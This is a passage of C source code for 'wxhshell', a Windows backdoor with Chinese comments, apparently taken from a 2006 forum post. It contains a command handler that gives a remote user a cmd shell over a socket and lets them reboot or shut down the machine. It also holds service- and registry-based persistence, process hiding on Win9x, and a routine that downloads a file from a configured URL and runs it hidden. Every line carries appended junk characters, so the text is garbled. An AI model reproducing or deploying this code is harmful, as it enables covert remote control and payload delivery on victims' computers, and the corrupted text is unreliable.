  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Jj vF  
  } K-b'jP\  
  else { J#^oUq  
i+HHOT  
    switch(cmd[0]) { x<%V&<z1g  
  Lk~aM bw#  
  // 帮助 J_Pb R b  
  case '?': { b)Px  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oCftI':@  
    break; I2PFJXp_]n  
  } S*-/#j  
  // 安装 hO@VYO   
  case 'i': { +kK6G#c  
    if(Install()) A(Ss:7({  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _7LZ\V+MLW  
    else !DUC#)F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hs~u&c  
    break; NXw$PM|+R  
    } g$jZpU  
  // 卸载 9(;I+.;8k  
  case 'r': { D~s TQfWr  
    if(Uninstall()) c _v;"QZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RIO4`,  
    else 5==}8<$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wJQ"|  
    break; otgU6S7F  
    } y.:Z:w6$  
  // 显示 wxhshell 所在路径 b0_Ih6  
  case 'p': { EecV%E  
    char svExeFile[MAX_PATH]; C{8d^SCA"  
    strcpy(svExeFile,"\n\r"); x)<Hr,wd  
      strcat(svExeFile,ExeFile); R~R?0aq  
        send(wsh,svExeFile,strlen(svExeFile),0); h#>%\Pvt;  
    break; <) ` ?s  
    } Y([YDn  
  // 重启 eJ23$VM+9  
  case 'b': { Cg! ]x o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h NCoX*icd  
    if(Boot(REBOOT)) A#6\5u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Y{^Q7!>:8  
    else { ?$#,h30  
    closesocket(wsh); (7qdrAeP  
    ExitThread(0); #K3`$^0 s  
    } >$yqx1=jW  
    break; DVWqrK}q  
    } *l[;g  
  // 关机 _V`Gmy[]p  
  case 'd': { RvPC7,vh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }H4Z726  
    if(Boot(SHUTDOWN)) Rn-RMD{dh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LT3ViCZ-n  
    else { dlx "L%  
    closesocket(wsh); UpU2H4  
    ExitThread(0); R}-<ZJe  
    } XOe8(cXa9  
    break; 0Lo)Ni^"  
    } 5k^UZw  
  // 获取shell `]8z]PD  
  case 's': { 9"H]zfW  
    CmdShell(wsh); ;m+*R/  
    closesocket(wsh); Oa'DVfw2J  
    ExitThread(0); ,L"1Ah  
    break; h!L/ZeRaV  
  } AMhHq/Dw  
  // 退出 m*d {pX  
  case 'x': { Yc,qXK-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B7fV_-p:G  
    CloseIt(wsh); [JY1|N  
    break; bH-QF\>  
    } cq=ker zQ  
  // 离开  Nx8~Rn  
  case 'q': { ~P47:IZf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i@C1}o-/  
    closesocket(wsh); Oz[]]`C1  
    WSACleanup();  jx3J$5  
    exit(1); cBO.96ZHE  
    break; &pCNOHi|  
        } C#r1zr6  
  } Y|NANjEAfm  
  } s 9Y'MQo*  
;e>pu"#  
  // 提示信息 o-))R| ~z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e7(iMe  
} OUd&fUmH  
  } QD6in>+B@  
f+/AD  
  return; i7D)'4gkW  
} <R TAO2  
@nuMl5C-`  
// shell模块句柄 PE IUKlX  
int CmdShell(SOCKET sock) 5p.vo"7  
{ KZ"&c~[  
STARTUPINFO si; <QUjhWxDb  
ZeroMemory(&si,sizeof(si)); +ti_?gfx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }W:Rg}v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @MS}tZ5  
PROCESS_INFORMATION ProcessInfo; ;PO{ ips  
char cmdline[]="cmd"; UkE  fuH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _NfdJ=[Xh  
  return 0; \lJCBb+k  
} w&vZ$n-|  
m M> L0  
// 自身启动模式 ]5V=kNu i  
int StartFromService(void) dOm@cs  
{ +ld]P}  
typedef struct Pp*:rA"N  
{ < )dqv0=  
  DWORD ExitStatus; J-6l<%962%  
  DWORD PebBaseAddress; 3N(5V;ti  
  DWORD AffinityMask; 4@b~)av)  
  DWORD BasePriority; <}G*/ z?/  
  ULONG UniqueProcessId; 0%Y8M` ~s7  
  ULONG InheritedFromUniqueProcessId; fd{75J5%  
}   PROCESS_BASIC_INFORMATION; =i4%KF9 x  
ig Q,ZY1  
PROCNTQSIP NtQueryInformationProcess; >tmv3_<=  
jvI!BZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M@k8;_5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l@ amAusE  
CNo'qlvF5N  
  HANDLE             hProcess; qT<OiIMj^  
  PROCESS_BASIC_INFORMATION pbi; lo1<t<w`  
D#=$? {w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }#u.Of`6"  
  if(NULL == hInst ) return 0;  b6`_;Z  
=RA8^wI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D%=VhKq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B_gzpS]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kqebU!0-  
lUL6L 4m  
  if (!NtQueryInformationProcess) return 0; m W/6FC  
[MQU~+]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <}\!FuC  
  if(!hProcess) return 0; V<:)bG4;d  
F9Hxqa#1T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; St1Ny,$yU  
w$XqxI/&  
  CloseHandle(hProcess); >@g+%K]  
HX;JO[0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \E(Negt7  
if(hProcess==NULL) return 0; ` XvuyH  
n=z=%T6  
HMODULE hMod; pR3@loFQ`o  
char procName[255]; yDuMn<=3  
unsigned long cbNeeded; XF6ed  
$ $=N'Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YB`;<+sY  
'`)r<lYN,  
  CloseHandle(hProcess); F*}.0SQ  
.T>^bLuFy  
if(strstr(procName,"services")) return 1; // 以服务启动 8h.Dc&V  
^$N}[1   
  return 0; // 注册表启动 R{3?`x!fY  
} bAUruTn  
O`;e^PhN  
// 主模块 L@|xpq  
int StartWxhshell(LPSTR lpCmdLine) #OQT@uF!  
{ fEWXC|"  
  SOCKET wsl; KW&vX%i(.  
BOOL val=TRUE; Z[, A>tJ  
  int port=0; ?;bsg 9  
  struct sockaddr_in door; JO3x#1~;_  
qg`8f?  
  if(wscfg.ws_autoins) Install(); SHAC(3o /e  
Rk8oshS+2  
port=atoi(lpCmdLine); 8l50@c4UF~  
`y^tCJ2u*  
if(port<=0) port=wscfg.ws_port; .|VWYN  
Knjg`f  
  WSADATA data; u ? }T)B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hhM?I$t:  
/c&;WlE/n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r(VGdG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ft[)m#Dj`  
  door.sin_family = AF_INET; l0v]+>1i:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ag82tDL[u  
  door.sin_port = htons(port); fF|m~#y  
f4 [Bj{F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Odf6v,*@  
closesocket(wsl); % >mB"Y,  
return 1; [PhT zXt  
} 8fH. E  
2Hp<(  
  if(listen(wsl,2) == INVALID_SOCKET) { A.v'ws+VDP  
closesocket(wsl); Fv )H;1V  
return 1; s"xiGp9  
} )HL[_WfY  
  Wxhshell(wsl); Mb1K:U  
  WSACleanup(); NbyXi3@v  
;bMmJ>[l-  
return 0; `{B<|W$=  
W]-c`32~S  
} vJ a?5Jr  
 j1sgvh]D  
// 以NT服务方式启动 [b?[LK}.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?r%kif)  
{ :~ ; 48m  
DWORD   status = 0; B.oD9 <9  
  DWORD   specificError = 0xfffffff; y.6Yl**l  
rHMr8,J;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c+bOp 05o-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6a%dq"5 +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FRR`<do5$,  
  serviceStatus.dwWin32ExitCode     = 0; { ML)F]]  
  serviceStatus.dwServiceSpecificExitCode = 0; }u `~lw(Z  
  serviceStatus.dwCheckPoint       = 0; ;+Mee ^E>!  
  serviceStatus.dwWaitHint       = 0; % k}+t3aF  
X%lk] &2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HC$rC"f  
  if (hServiceStatusHandle==0) return; o6@`aU  
s~)I1G  
status = GetLastError(); <0M 2qt8  
  if (status!=NO_ERROR) I&s!}$cD  
{ d>YX18'<Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; px~:'U  
    serviceStatus.dwCheckPoint       = 0; .}4^b\   
    serviceStatus.dwWaitHint       = 0; lI&5.,2MP  
    serviceStatus.dwWin32ExitCode     = status; ro8c-[V  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;&~9k?v7L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,mY3oyu  
    return; rF:l+I]  
  } <AN=@`+  
C U 8s*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; : 6|nXL  
  serviceStatus.dwCheckPoint       = 0; j +u3VP  
  serviceStatus.dwWaitHint       = 0; O ,Sqh$6U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }%lk$g';  
} !hc#il'g].  
l(j._j~p  
// 处理NT服务事件,比如:启动、停止 }^"#&w3<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ys DGF@wZC  
{ 1(4}rB3  
switch(fdwControl) :vWixgLg  
{ 6qYK"^+xu  
case SERVICE_CONTROL_STOP: QZ?%xN(4  
  serviceStatus.dwWin32ExitCode = 0; i[r>^U8O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BHrNDpv  
  serviceStatus.dwCheckPoint   = 0; &XF@Dvv  
  serviceStatus.dwWaitHint     = 0; e'MLLC [  
  { OY'6~w9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 37U$9]  
  } .EXxNB]%Y&  
  return; "( NJ{J#A  
case SERVICE_CONTROL_PAUSE: <)4>"SN&^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mgL{t"$c  
  break; D@iE2-n&V  
case SERVICE_CONTROL_CONTINUE: (V:)`A_-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +h?Rb3=S  
  break; 8;+dlWp  
case SERVICE_CONTROL_INTERROGATE: _WB*ArR  
  break; CWx_9b zk  
}; 0m>?-/uDx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o7^u@*"F  
} Hr}pO"%  
zLS=>iLD{  
// 标准应用程序主函数 rpn&.#KS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -D^.I  
{ +|c1G[Jh  
eGE[4Z  
// 获取操作系统版本 b 8~7C4  
OsIsNt=GetOsVer(); 'joE-{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {+  @M!  
/`H{ n$  
  // 从命令行安装 G}N T[  
  if(strpbrk(lpCmdLine,"iI")) Install(); d.:.f_|  
a$2 WL g,  
  // 下载执行文件 VcpN PU6  
if(wscfg.ws_downexe) { wU(N<9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FF'Ul 4y  
  WinExec(wscfg.ws_filenam,SW_HIDE); v#ERXIrf  
} 0?/vcsO  
<cNg_ZZ;8  
if(!OsIsNt) { =qy{8MsjA  
// 如果时win9x,隐藏进程并且设置为注册表启动 snti*e4"V  
HideProc(); ^h~oxZJw  
StartWxhshell(lpCmdLine); =Xu(Js-  
} LAcK%  
else YM4njkI7  
  if(StartFromService()) eW.[M?,  
  // 以服务方式启动 a,~}G'U  
  StartServiceCtrlDispatcher(DispatchTable); |:G`f8q9  
else DfX}^'#m+  
  // 普通方式启动 NUb:5tL  
  StartWxhshell(lpCmdLine); 4M3{P  
~RIn7/A  
return 0; "u.4@^+i  
}
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只看该作者 1 发表于: 2006-10-10
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